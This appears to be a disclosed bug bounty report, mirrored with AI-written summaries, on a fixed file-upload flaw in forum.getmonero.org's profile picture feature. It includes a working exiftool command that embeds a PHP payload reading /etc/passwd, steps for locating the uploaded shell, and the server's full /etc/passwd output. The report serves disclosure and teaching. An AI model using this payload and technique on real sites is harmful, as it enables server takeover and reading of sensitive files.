forum.getmonero.org Shell upload
The profile picture upload in the forum's UsersController did not validate file types, allowing an attacker to upload a PHP file disguised as an image. The attacker could then execute arbitrary code on the server and read sensitive files such as /etc/passwd.
- Triaged in 2 days
- Fixed in 2 months
- Disclosed after 2 months
Summary: The method uploadProfile in the UsersController allows an attacker to upload a shell to the target server due to lack of image validation.
Description:
Steps To Reproduce:
- Open POC https://forum.getmonero.org/uploads/profile/lNobodyl1527340454.php or https://forum.getmonero.org/uploads/profile/lNobodyl1527341021.php
Or just follow these steps:
- Find a nice picture and embed the shell into the image like this
exiftool -documentname='<?php echo file_get_contents("/etc/passwd"); ?>' picture.png - Rename the jpg/png picture to the
.phpextension. - Upload the picture.
- You will get an 500 error page. Ignore it. Grep the time from the response and convert it to a timestamp.
- Use the timestamp to find your shell:
https://forum.getmonero.org/uploads/profile/[USERNAMAE][timestamp].php
Gathered infos:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
bind:x:103:109::/var/cache/bind:/bin/false
ntpd:x:104:110::/var/run/openntpd:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
fluffypony:x:1000:1000:Fluffypony,,,:/home/fluffypony:/bin/bash
postfix:x:106:114::/var/spool/postfix:/bin/false
ossec:x:1001:1001::/var/lib/dome9/ossec:/bin/false
mysql:x:107:116:MySQL Server,,,:/var/lib/mysql:/bin/false
redis:x:108:118:redis server,,,:/var/lib/redis:/bin/false
pollinate:x:109:1::/var/cache/pollinate:/bin/false
gearman:x:110:119:Gearman Job Server,,,:/var/lib/gearman:/bin/false
memcache:x:111:120:Memcached,,,:/nonexistent:/bin/false
debian-tor:x:112:121::/var/lib/tor:/bin/false
systemd-timesync:x:113:123:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:114:124:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:115:125:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:116:126:systemd Bus Proxy,,,:/run/systemd:/bin/false
uuidd:x:100:101::/run/uuidd:/bin/false
_apt:x:117:65534::/nonexistent:/bin/false
blackfire:x:999:999::/dev/null:
colord:x:118:129:colord colour management daemon,,,:/var/lib/colord:/bin/false
oident:x:119:130::/:/bin/false
Impact
A hacker can hack the server ^^.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the upload function only checked the file extension or did not properly validate the file type, allowing a PHP file to be saved and executed.
How it was found
- Embed PHP code into an image file using exiftool.
- Rename the image file to have a .php extension.
- Upload the file through the profile picture upload feature.
- Ignore the 500 error and note the timestamp from the response.
- Use the timestamp to construct the URL of the uploaded shell and access it.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website let people upload profile pictures, but it didn't check what kind of file was uploaded. An attacker could upload a file that runs code on the server, like a small program, and then access it through the browser to read files on the server. This is dangerous because it gives the attacker control over the server.
What is File upload?
An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.